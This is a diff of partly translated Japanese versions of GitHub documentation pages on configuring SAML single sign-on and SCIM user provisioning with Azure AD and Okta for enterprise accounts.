-1. In Azure AD, add {% data variables.product.ae_azure_ad_app_link %} to your tenant and configure single sign-on. For more information, see [Tutorial: Azure Active Directory single sign-on (SSO) integration with {% data variables.product.prodname_ghe_managed %}](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-tutorial) in the Microsoft Docs.
+1. Azure AD で、{% data variables.product.ae_azure_ad_app_link %} をテナントに追加し、シングルサインオンを設定します。 詳しい情報については、Microsoft Docs の「[チュートリアル: Azure Active Directory シングルサインオン (SSO) と {% data variables.product.prodname_ghe_managed %} の統合](https://docs.microsoft.com/azure/active-directory/saas-apps/github-ae-tutorial)」を参照してください。
 
-1. In {% data variables.product.prodname_ghe_managed %}, enter the details for your Azure AD tenant.
+1. {% data variables.product.prodname_ghe_managed %} に、Azure AD テナントの詳細を入力します。
 
     - {% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %}
 
-    - If you've already configured SAML SSO for {% data variables.product.product_location %} using another IdP and you want to use Azure AD instead, you can edit your configuration. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise#editing-the-saml-sso-configuration)."
+    - 別の IdP を使用して {% data variables.product.product_location %} の SAML SSO を既に設定していて、代わりに Azure AD を使用する場合は、設定を編集できます。 詳しい情報については、「[Enterprise 向けのSAML シングルサインオンを設定する](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise#editing-the-saml-sso-configuration)」を参照してください。
 
-1. Enable user provisioning in {% data variables.product.product_name %} and configure user provisioning in Azure AD. For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise#enabling-user-provisioning-for-your-enterprise)."
+1. {% data variables.product.product_name %} でユーザプロビジョニングを有効化し、Azure AD でユーザプロビジョニングを設定します。 詳しい情報については、「[Enterprise 向けのユーザプロビジョニングを設定する](/admin/authentication/configuring-user-provisioning-for-your-enterprise#enabling-user-provisioning-for-your-enterprise)」を参照してください。
 
 {% endif %}
diff --git a/translations/ja-JP/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md b/translations/ja-JP/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md
index fbe74e7c94..a19210b17d 100644
--- a/translations/ja-JP/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md
+++ b/translations/ja-JP/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/configuring-authentication-and-provisioning-for-your-enterprise-using-okta.md
@@ -17,7 +17,7 @@ miniTocMaxHeadingLevel: 3
 
 {% data reusables.saml.okta-ae-sso-beta %}
 
-## About SAML and SCIM with Okta
+## Okta での SAML と SCIM について
 
 You can use Okta as an Identity Provider (IdP) for {% data variables.product.prodname_ghe_managed %}, which allows your Okta users to sign in to {% data variables.product.prodname_ghe_managed %} using their Okta credentials.
 
@@ -25,14 +25,14 @@ To use Okta as your IdP for {% data variables.product.prodname_ghe_managed %}, y
 
 The following provisioning features are available for all Okta users that you assign to your {% data variables.product.prodname_ghe_managed %} application.
 
-| Feature | Description |
-| --- | --- |
-| Push New Users | When you create a new user in Okta, the user is added to {% data variables.product.prodname_ghe_managed %}. |
-| Push User Deactivation | When you deactivate a user in Okta, it will suspend the user from your enterprise on {% data variables.product.prodname_ghe_managed %}. |
-| Push Profile Updates | When you update a user's profile in Okta, it will update the metadata for the user's membership in your enterprise on {% data variables.product.prodname_ghe_managed %}. |
-| Reactivate Users | When you reactivate a user in Okta, it will unsuspend the user in your enterprise on {% data variables.product.prodname_ghe_managed %}. |
+| 機能            | 説明                                                                                                                                                                         |
+| ------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| 新しいユーザのプッシュ   | When you create a new user in Okta, the user is added to {% data variables.product.prodname_ghe_managed %}.                                                              |
+| ユーザ無効化のプッシュ   | When you deactivate a user in Okta, it will suspend the user from your enterprise on {% data variables.product.prodname_ghe_managed %}.                                  |
+| プロフィール更新のプッシュ | When you update a user's profile in Okta, it will update the metadata for the user's membership in your enterprise on {% data variables.product.prodname_ghe_managed %}. |
+| ユーザの再アクティブ化   | When you reactivate a user in Okta, it will unsuspend the user in your enterprise on {% data variables.product.prodname_ghe_managed %}.                                  |
 
-## Adding the {% data variables.product.prodname_ghe_managed %} application in Okta
+## Okta で {% data variables.product.prodname_ghe_managed %} アプリケーションを追加する
 
 {% data reusables.saml.okta-ae-applications-menu %}
 1. Click **Browse App Catalog**
@@ -43,7 +43,7 @@ The following provisioning features are available for all Okta users that you as
 
   !["Search result"](/assets/images/help/saml/okta-ae-search.png)
 
-1. Click **Add**.
+1. [**Add**] をクリックします。
 
   !["Add GitHub AE app"](/assets/images/help/saml/okta-ae-add-github-ae.png)
 
@@ -51,7 +51,7 @@ The following provisioning features are available for all Okta users that you as
 
   !["Configure Base URL"](/assets/images/help/saml/okta-ae-configure-base-url.png)
 
-1. Click **Done**.
+1. [**Done**] をクリックします。
 
 ## Enabling SAML SSO for {% data variables.product.prodname_ghe_managed %}
 
@@ -67,8 +67,8 @@ To enable single sign-on (SSO) for {% data variables.product.prodname_ghe_manage
 
   ![Sign On tab](/assets/images/help/saml/okta-ae-view-setup-instructions.png)
 
-1. Take note of the "Sign on URL", "Issuer", and "Public certificate" details. 
-1. Use the details to enable SAML SSO for your enterprise on {% data variables.product.prodname_ghe_managed %}. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
+1. Take note of the "Sign on URL", "Issuer", and "Public certificate" details.
+1. Use the details to enable SAML SSO for your enterprise on {% data variables.product.prodname_ghe_managed %}. 詳しい情報については、「[Enterprise 向けのSAML シングルサインオンを設定する](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)」を参照してください。
 
 {% note %}
 
@@ -84,15 +84,15 @@ The "GitHub AE" app in Okta uses the {% data variables.product.product_name %} A
 {% data reusables.saml.okta-ae-applications-menu %}
 {% data reusables.saml.okta-ae-configure-app %}
 {% data reusables.saml.okta-ae-provisioning-tab %}
-1. Click **Configure API Integration**.
+1. [**Configure API Integration**] をクリックします。
 
-1. Select **Enable API integration**.
+1. [**Enable API integration**] を選択します。
 
   ![Enable API integration](/assets/images/help/saml/okta-ae-enable-api-integration.png)
 
 1. For "API Token", type the {% data variables.product.prodname_ghe_managed %} personal access token you generated previously.
 
-1. Click **Test API Credentials**. 
+1. Click **Test API Credentials**.
 
 {% note %}
 
@@ -111,11 +111,11 @@ This procedure demonstrates how to configure the SCIM settings for Okta provisio
 
   !["To App" settings](/assets/images/help/saml/okta-ae-to-app-settings.png)
 
-1. To the right of "Provisioning to App", click **Edit**.
-1. To the right of "Create Users", select **Enable**.
-1. To the right of "Update User Attributes", select **Enable**.
-1. To the right of "Deactivate Users", select **Enable**.
-1. Click **Save**.
+1. [Provisioning to App] の右にある [**Edit**] をクリックします。
+1. [Create Users] の右にある [**Enable**] を選択します。
+1. [Update User Attributes] の右にある [**Enable**] を選択します。
+1. [Deactivate Users] の右にある [**Enable**] を選択します。
+1. [**Save**] をクリックします。
 
 ## Allowing Okta users and groups to access {% data variables.product.prodname_ghe_managed %}
 
@@ -130,7 +130,7 @@ Before your Okta users can use their credentials to sign in to {% data variables
 
 1. Click **Assignments**.
 
-  ![Assignments tab](/assets/images/help/saml/okta-ae-assignments-tab.png)
+  ![[Assignments] タブ](/assets/images/help/saml/okta-ae-assignments-tab.png)
 
 1. Select the Assign drop-down menu and click **Assign to People**.
 
@@ -144,13 +144,13 @@ Before your Okta users can use their credentials to sign in to {% data variables
 
   ![Role selection](/assets/images/help/saml/okta-ae-assign-role.png)
 
-1. Click **Done**.
+1. [**Done**] をクリックします。
 
 ### Provisioning access for Okta groups
 
 You can map your Okta group to a team in {% data variables.product.prodname_ghe_managed %}. Members of the Okta group will then automatically become members of the mapped {% data variables.product.prodname_ghe_managed %} team. For more information, see "[Mapping Okta groups to teams](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams)."
 
-## Further reading
+## 参考リンク
 
 - [Understanding SAML](https://developer.okta.com/docs/concepts/saml/) in the Okta documentation.
 - [Understanding SCIM](https://developer.okta.com/docs/concepts/scim/) in the Okta documentation.
diff --git a/translations/ja-JP/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/index.md b/translations/ja-JP/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/index.md
index 138b2d5323..604b7cbbb7 100644
--- a/translations/ja-JP/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/index.md
+++ b/translations/ja-JP/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/index.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring authentication and provisioning with your identity provider
-intro: 'You can configure user authentication and provisioning by integrating with an identity provider (IdP) that supports SAML single sign-on (SSO) and SCIM.'
+title: アイデンティティプロバイダで認証とプロビジョニングを設定する
+intro: You can configure user authentication and provisioning by integrating with an identity provider (IdP) that supports SAML single sign-on (SSO) and SCIM.
 versions:
   ghae: '*'
 children:
diff --git a/translations/ja-JP/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams.md b/translations/ja-JP/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams.md
index bf03a67c91..99da5c489b 100644
--- a/translations/ja-JP/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams.md
+++ b/translations/ja-JP/content/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider/mapping-okta-groups-to-teams.md
@@ -19,25 +19,24 @@ topics:
 
 If you use Okta as your IdP, you can map your Okta group to a team in {% data variables.product.prodname_ghe_managed %}. Members of the Okta group will automatically become members of the mapped {% data variables.product.prodname_ghe_managed %} team. To configure this mapping, you can configure the Okta "GitHub AE" app to push the group and its members to {% data variables.product.prodname_ghe_managed %}. You can then choose which team in {% data variables.product.prodname_ghe_managed %} will be mapped to the Okta group.
 
-## Prerequisites
+## 必要な環境
 
 You or your Okta administrator must be a Global administrator or a Privileged Role administrator in Okta.
- 
-You must enable SAML single sign-on with Okta. For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
 
-You must authenticate to your enterprise account using SAML SSO and Okta. For more information, see "[Authenticating with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on)."
+You must enable SAML single sign-on with Okta. 詳しい情報については、「[Enterprise 向けのSAML シングルサインオンを設定する](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)」を参照してください。
+
+You must authenticate to your enterprise account using SAML SSO and Okta. 詳しい情報については「[SAMLシングルサインオンで認証する](/github/authenticating-to-github/authenticating-with-saml-single-sign-on)」を参照してください。
 
 ## Assigning your Okta group to the "GitHub AE" app
 
 1. In the Okta Dashboard, open your group's settings.
-1. Click **Manage Apps**.
-  ![Add group to app](/assets/images/help/saml/okta-ae-group-add-app.png)
+1. Click **Manage Apps**. ![Add group to app](/assets/images/help/saml/okta-ae-group-add-app.png)
 
 1. To the right of "GitHub AE", click **Assign**.
 
   ![Assign app](/assets/images/help/saml/okta-ae-assign-group-to-app.png)
 
-1. Click **Done**.
+1. [**Done**] をクリックします。
 
 ## Pushing the Okta group to {% data variables.product.prodname_ghe_managed %}
 
@@ -48,7 +47,7 @@ When you push an Okta group and map the group to a team, all of the group's memb
 
 1. Click **Push Groups**.
 
-  ![Push Groups tab](/assets/images/help/saml/okta-ae-push-groups-tab.png)
+  ![[Push Groups] タブ](/assets/images/help/saml/okta-ae-push-groups-tab.png)
 
 1. Select the Push Groups drop-down menu and click **Find groups by name**.
 
@@ -66,16 +65,14 @@ You can map a team in your enterprise to an Okta group you previously pushed to
 {% data reusables.user_settings.access_org %}
 {% data reusables.organizations.specific_team %}
 {% data reusables.organizations.team_settings %}
-6. Under "Identity Provider Group", select the drop-down menu and click an identity provider group.
-    ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png)
-7. Click **Save changes**.
+6. Under "Identity Provider Group", select the drop-down menu and click an identity provider group. ![Drop-down menu to choose identity provider group](/assets/images/enterprise/github-ae/teams/choose-an-idp-group.png)
+7. [**Save changes**] をクリックします。
 
 ## Checking the status of your mapped teams
 
 Enterprise owners can use the site admin dashboard to check how Okta groups are mapped to teams on {% data variables.product.prodname_ghe_managed %}.
 
-1. To access the dashboard, in the upper-right corner of any page, click {% octicon "rocket" aria-label="The rocket ship" %}.
-  ![Rocket ship icon for accessing site admin settings](/assets/images/enterprise/site-admin-settings/access-new-settings.png)
+1. ダッシュボードへアクセスするには、ページ右上の隅にある {% octicon "rocket" aria-label="The rocket ship" %}をクリックしてください。 ![サイトアドミン設定にアクセスするための宇宙船のアイコン](/assets/images/enterprise/site-admin-settings/access-new-settings.png)
 
 1. In the left pane, click **External groups**.
 
@@ -85,7 +82,7 @@ Enterprise owners can use the site admin dashboard to check how Okta groups are
 
   ![List of external groups](/assets/images/help/saml/okta-ae-site-admin-list-groups.png)
 
-1. The group's details includes the name of the Okta group, a list of the Okta users that are members of the group, and the corresponding mapped team on {% data variables.product.prodname_ghe_managed %}. 
+1. The group's details includes the name of the Okta group, a list of the Okta users that are members of the group, and the corresponding mapped team on {% data variables.product.prodname_ghe_managed %}.
 
   ![List of external groups](/assets/images/help/saml/okta-ae-site-admin-group-details.png)
 
diff --git a/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise.md b/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise.md
index 3da45be1af..10d813c6b2 100644
--- a/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise.md
+++ b/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise.md
@@ -1,6 +1,6 @@
 ---
-title: About identity and access management for your enterprise
-shortTitle: About identity and access management
+title: Enterprise のアイデンティティおよびアクセス管理について
+shortTitle: アイデンティティとアクセス管理について
 intro: 'You can use SAML single sign-on (SSO) and System for Cross-domain Identity Management (SCIM) to centrally manage access {% ifversion ghec %}to organizations owned by your enterprise on {% data variables.product.prodname_dotcom_the_website %}{% endif %}{% ifversion ghae %}to {% data variables.product.product_location %}{% endif %}.'
 versions:
   ghec: '*'
@@ -19,47 +19,48 @@ redirect_from:
   - /github/setting-up-and-managing-your-enterprise/about-user-provisioning-for-organizations-in-your-enterprise-account
   - /github/setting-up-and-managing-your-enterprise/configuring-saml-single-sign-on-and-scim-for-your-enterprise-account-using-okta
 ---
-## About identity and access management for your enterprise
+
+## Enterprise のアイデンティティおよびアクセス管理について
 
 {% ifversion ghec %}
 
 {% data reusables.saml.dotcom-saml-explanation %} {% data reusables.saml.about-saml-enterprise-accounts %} For more information, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise)."
 
-After you enable SAML SSO, depending on the IdP you use, you may be able to enable additional identity and access management features. {% data reusables.scim.enterprise-account-scim %}
+SAML SSO を有効にした後、使用する IdP によっては、追加のアイデンティおよびアクセス管理機能を有効にできる場合があります。 {% data reusables.scim.enterprise-account-scim %}
 
-If you use Azure AD as your IDP, you can use team synchronization to manage team membership within each organization. {% data reusables.identity-and-permissions.about-team-sync %} For more information, see "[Managing team synchronization for organizations in your enterprise account](/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)."
+IdP として Azure AD を使用している場合は、Team 同期を使用して、各 Organization 内の Team メンバーシップを管理できます。 {% data reusables.identity-and-permissions.about-team-sync %} 詳しい情報については、「[Enterprise アカウントで Organization の Team 同期を管理する](/admin/authentication/managing-identity-and-access-for-your-enterprise/managing-team-synchronization-for-organizations-in-your-enterprise)」を参照してください。
 
 {% data reusables.saml.switching-from-org-to-enterprise %} For more information, see "[Switching your SAML configuration from an organization to an enterprise account](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)."
 
-## About {% data variables.product.prodname_emus %}
+## {% data variables.product.prodname_emus %}について
 
 {% data reusables.enterprise-accounts.emu-short-summary %}
 
 Configuring {% data variables.product.prodname_emus %} for SAML single-sign on and user provisioning involves following a different process than you would for an enterprise that isn't using {% data variables.product.prodname_managed_users %}. If your enterprise uses {% data variables.product.prodname_emus %}, see "[Configuring SAML single sign-on for Enterprise Managed Users](/github/setting-up-and-managing-your-enterprise/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users)."
 
-## Supported IdPs
+## サポートされている IdP
 
-We test and officially support the following IdPs. For SAML SSO, we offer limited support for all identity providers that implement the SAML 2.0 standard. For more information, see the [SAML Wiki](https://wiki.oasis-open.org/security) on the OASIS website.
+以下の IdP はテスト済みで公式にサポートされています。 SAML SSO の場合、SAML 2.0 標準を実装するすべてのアイデンティティプロバイダに対して限定的なサポートが提供されています。 詳しい情報については、OASIS Web サイトの [SAML Wiki](https://wiki.oasis-open.org/security) を参照してください。
 
-IdP | SAML | Team synchronization | 
---- | :--: | :-------: |
-Active Directory Federation Services (AD FS) | {% octicon "check-circle-fill" aria-label= "The check icon" %}  | |
-Azure Active Directory (Azure AD) | {% octicon "check-circle-fill" aria-label="The check icon" %}  | {% octicon "check-circle-fill" aria-label="The check icon" %} |
-OneLogin | {% octicon "check-circle-fill" aria-label="The check icon" %}  | |
-PingOne | {% octicon "check-circle-fill" aria-label="The check icon" %}  | |
-Shibboleth | {% octicon "check-circle-fill" aria-label="The check icon" %}  | |
+| IdP                                   |                              SAML                              |                           Team の同期                            |
+| ------------------------------------- |:--------------------------------------------------------------:|:-------------------------------------------------------------:|
+| Active Directory フェデレーションサービス (AD FS) | {% octicon "check-circle-fill" aria-label= "The check icon" %} |                                                               |
+| Azure Active Directory (Azure AD)     | {% octicon "check-circle-fill" aria-label="The check icon" %}  | {% octicon "check-circle-fill" aria-label="The check icon" %}
+| OneLogin                              | {% octicon "check-circle-fill" aria-label="The check icon" %}  |                                                               |
+| PingOne                               | {% octicon "check-circle-fill" aria-label="The check icon" %}  |                                                               |
+| Shibboleth                            | {% octicon "check-circle-fill" aria-label="The check icon" %}  |                                                               |
 
 {% elsif ghae %}
 
 {% data reusables.saml.ae-uses-saml-sso %} {% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %}
 
-After you configure the application for {% data variables.product.product_name %} on your identity provider (IdP), you can provision access to {% data variables.product.product_location %} by assigning the application to users and groups on your IdP. For more information about SAML SSO for {% data variables.product.product_name %}, see "[Configuring SAML single sign-on for your enterprise](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)."
+After you configure the application for {% data variables.product.product_name %} on your identity provider (IdP), you can provision access to {% data variables.product.product_location %} by assigning the application to users and groups on your IdP. {% data variables.product.product_name %} の SAML SSO の詳細については、「[Enterprise 向けの SAML シングルサインオンを設定する](/admin/authentication/configuring-saml-single-sign-on-for-your-enterprise)」を参照してください。
 
-{% data reusables.scim.after-you-configure-saml %} For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)."
+{% data reusables.scim.after-you-configure-saml %}詳しい情報については、「[Enterprise 向けのユーザプロビジョニングを設定する](/admin/authentication/configuring-user-provisioning-for-your-enterprise)」を参照してください。
 
-To learn how to configure both authentication and user provisioning for {% data variables.product.product_location %} with your specific IdP, see "[Configuring authentication and provisioning with your identity provider](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider)."
+自分の固有の IdP を使用して {% data variables.product.product_location %} の認証とユーザプロビジョニングの両方を設定する方法については、「[アイデンティティプロバイダを使用して認証とプロビジョニングを設定する](/admin/authentication/configuring-authentication-and-provisioning-with-your-identity-provider)」を参照してください。
 
-## Supported IdPs
+## サポートされている IdP
 
 The following IdPs are officially supported for integration with {% data variables.product.prodname_ghe_managed %}.
 
@@ -73,8 +74,8 @@ If you use Okta as your IdP, you can map your Okta groups to teams on {% data va
 
 {% endif %}
 
-## Further reading
+## 参考リンク
 
-- [SAML Wiki](https://wiki.oasis-open.org/security) on the OASIS website
+- OASIS Web サイトの [SAML Wiki](https://wiki.oasis-open.org/security)
 - [System for Cross-domain Identity Management: Protocol (RFC 7644)](https://tools.ietf.org/html/rfc7644) on the IETF website{% ifversion ghae %}
 - [Restricting network traffic to your enterprise](/admin/configuration/restricting-network-traffic-to-your-enterprise){% endif %}
diff --git a/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md b/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md
index 1a8ac848c4..a7c983cfa6 100644
--- a/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md
+++ b/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise-using-okta.md
@@ -1,7 +1,6 @@
 ---
 title: Configuring SAML single sign-on for your enterprise using Okta
 intro: 'You can use Security Assertion Markup Language (SAML) single sign-on (SSO) with Okta to automatically manage access to your enterprise account on {% data variables.product.product_name %}.'
-product: '{% data reusables.gated-features.enterprise-accounts %}'
 redirect_from:
   - /github/setting-up-and-managing-your-enterprise/configuring-single-sign-on-for-your-enterprise-account-using-okta
   - /github/setting-up-and-managing-your-enterprise-account/configuring-saml-single-sign-on-for-your-enterprise-account-using-okta
diff --git a/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md b/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md
index e3b193572b..fdb664a353 100644
--- a/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md
+++ b/translations/ja-JP/content/admin/authentication/managing-identity-and-access-for-your-enterprise/configuring-saml-single-sign-on-for-your-enterprise.md
@@ -1,5 +1,5 @@
 ---
-title: Configuring SAML single sign-on for your enterprise
+title: Enterprise 向けの SAML シングルサインオンを設定する
 shortTitle: Configure SAML SSO
 intro: 'You can control and secure access to {% ifversion ghec %}resources like repositories, issues, and pull requests within your enterprise''s organizations{% elsif ghae %}your enterprise on {% data variables.product.prodname_ghe_managed %}{% endif %} by {% ifversion ghec %}enforcing{% elsif ghae %}configuring{% endif %} SAML single sign-on (SSO) through your identity provider (IdP).'
 permissions: 'Enterprise owners can configure SAML SSO for an enterprise on {% data variables.product.product_name %}.'
@@ -26,27 +26,27 @@ redirect_from:
 
 {% ifversion ghec %}
 
-{% data reusables.saml.dotcom-saml-explanation %} For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)."
+{% data reusables.saml.dotcom-saml-explanation %} 詳細は「[SAML シングルサインオンを使うアイデンティティおよびアクセス管理について](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)」を参照してください。
 
 {% data reusables.saml.about-saml-enterprise-accounts %}
 
-{% data reusables.saml.about-saml-access-enterprise-account %} For more information, see "[Viewing and managing a user's SAML access to your enterprise account](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)."
+{% data reusables.saml.about-saml-access-enterprise-account %}詳細は「[Enterprise アカウントへのユーザの SAML アクセスの表示および管理](/admin/user-management/managing-users-in-your-enterprise/viewing-and-managing-a-users-saml-access-to-your-enterprise)」を参照してください。
 
 {% data reusables.scim.enterprise-account-scim %}
 
 {% elsif ghae %}
 
-SAML SSO allows you to centrally control and secure access to {% data variables.product.product_location %} from your SAML IdP. When an unauthenticated user visits {% data variables.product.product_location %} in a browser, {% data variables.product.product_name %} will redirect the user to your SAML IdP to authenticate. After the user successfully authenticates with an account on the IdP, the IdP redirects the user back to {% data variables.product.product_location %}. {% data variables.product.product_name %} validates the response from your IdP, then grants access to the user.
+SAML SSO を使用すると、SAML IdP から {% data variables.product.product_location %} へのアクセスを一元的に制御しアクセスをセキュアにできます。 認証されていないユーザがブラウザで {% data variables.product.product_location %} にアクセスすると、{% data variables.product.product_name %} はユーザを認証するために SAML IdP にリダイレクトします。 ユーザが IdP のアカウントで正常に認証されると、IdP はユーザを {% data variables.product.product_location %} にリダイレクトします。 {% data variables.product.product_name %} は、IdP からのレスポンスを検証してから、ユーザにアクセスを許可します。
 
-After a user successfully authenticates on your IdP, the user's SAML session for {% data variables.product.product_location %} is active in the browser for 24 hours. After 24 hours, the user must authenticate again with your IdP.
+ユーザーが IdP で正常に認証されると、{% data variables.product.product_location %} に対するユーザの SAML セッションはブラウザで 24 時間アクティブになります。 24 時間後、ユーザは IdP で再度認証を行う必要があります。
 
 {% data reusables.saml.assert-the-administrator-attribute %}
 
-{% data reusables.scim.after-you-configure-saml %} For more information, see "[Configuring user provisioning for your enterprise](/admin/authentication/configuring-user-provisioning-for-your-enterprise)."
+{% data reusables.scim.after-you-configure-saml %}詳しい情報については、「[Enterprise 向けのユーザプロビジョニングを設定する](/admin/authentication/configuring-user-provisioning-for-your-enterprise)」を参照してください。
 
 {% endif %}
 
-## Supported identity providers
+## サポートされているアイデンティティプロバイダ
 
 {% data reusables.saml.saml-supported-idps %}
 
@@ -56,7 +56,7 @@ After a user successfully authenticates on your IdP, the user's SAML session for
 
 {% note %}
 
-**Notes:**
+**ノート:**
 
 - When you enforce SAML SSO for your enterprise, the enterprise configuration will override any existing organization-level SAML configurations. {% data reusables.saml.switching-from-org-to-enterprise %} For more information, see "[Switching your SAML configuration from an organization to an enterprise account](/github/setting-up-and-managing-your-enterprise/configuring-identity-and-access-management-for-your-enterprise-account/switching-your-saml-configuration-from-an-organization-to-an-enterprise-account)."
 - When you enforce SAML SSO for an organization, {% data variables.product.company_short %} removes any members of the organization that have not authenticated successfully with your SAML IdP. When you require SAML SSO for your enterprise, {% data variables.product.company_short %} does not remove members of the enterprise that have not authenticated successfully with your SAML IdP. The next time a member accesses the enterprise's resources, the member must authenticate with your SAML IdP.
@@ -69,93 +69,81 @@ For more detailed information about how to enable SAML using Okta, see "[Configu
 {% data reusables.enterprise-accounts.settings-tab %}
 {% data reusables.enterprise-accounts.security-tab %}
 4. {% data reusables.enterprise-accounts.view-current-policy-config-orgs %}
-5. Under "SAML single sign-on", select **Require SAML authentication**.
-  ![Checkbox for enabling SAML SSO](/assets/images/help/business-accounts/enable-saml-auth-enterprise.png)
-6. In the **Sign on URL** field, type the HTTPS endpoint of your IdP for single sign-on requests. This value is available in your IdP configuration.
-![Field for the URL that members will be forwarded to when signing in](/assets/images/help/saml/saml_sign_on_url_business.png)
-7. Optionally, in the **Issuer** field, type your SAML issuer URL to verify the authenticity of sent messages.
-![Field for the SAML issuer's name](/assets/images/help/saml/saml_issuer.png)
-8. Under **Public Certificate**, paste a certificate to verify SAML responses.
-![Field for the public certificate from your identity provider](/assets/images/help/saml/saml_public_certificate.png)
-9. To verify the integrity of the requests from your SAML issuer, click {% octicon "pencil" aria-label="The edit icon" %}. Then in the "Signature Method" and "Digest Method" drop-downs, choose the hashing algorithm used by your SAML issuer.
-![Drop-downs for the Signature Method and Digest method hashing algorithms used by your SAML issuer](/assets/images/help/saml/saml_hashing_method.png)
-10. Before enabling SAML SSO for your enterprise, click **Test SAML configuration** to ensure that the information you've entered is correct. ![Button to test SAML configuration before enforcing](/assets/images/help/saml/saml_test.png)
-11. Click **Save**.
+5. Under "SAML single sign-on", select **Require SAML authentication**. ![SAML SSO を有効化するためのチェックボックス](/assets/images/help/business-accounts/enable-saml-auth-enterprise.png)
+6. **Sign on URL**フィールドに、使用する IdP のシングルサインオンのリクエストのための HTTPS エンドポイントを入力してください。 この値は Idp の設定で使用できます。 ![メンバーがサインインする際にリダイレクトされる URL のフィールド](/assets/images/help/saml/saml_sign_on_url_business.png)
+7. 必要に応じて、[**Issuer**] フィールドに SAML 発行者の URL を入力して、送信されたメッセージの信頼性を確認します。 ![SAMl 発行者の名前のフィールド](/assets/images/help/saml/saml_issuer.png)
+8. [**Public Certificate**] で、証明書を貼り付けて SAML の応答を認証します。 ![アイデンティティプロバイダからの公開の証明書のフィールド](/assets/images/help/saml/saml_public_certificate.png)
+9. SAML 発行者からのリクエストの完全性を確認するには、{% octicon "pencil" aria-label="The edit icon" %} をクリックします。 次に、[Signature Method] および [Digest Method] ドロップダウンで、SAML 発行者が使用するハッシュアルゴリズムを選択します。 ![SAML 発行者が使用する署名方式とダイジェスト方式のハッシュアルゴリズム用のドロップダウン](/assets/images/help/saml/saml_hashing_method.png)
+10. Enterprise で SAML SSO を有効化する前に、[**Test SAML configuration**] をクリックして、入力した情報が正しいか確認します。 ![強制化の前に SAML の構成をテストするためのボタン](/assets/images/help/saml/saml_test.png)
+11. [**Save**] をクリックします。
 
 {% elsif ghae %}
 
-## Enabling SAML SSO
+## SAML SSO を有効化する
 
 {% data reusables.saml.ae-enable-saml-sso-during-bootstrapping %}
 
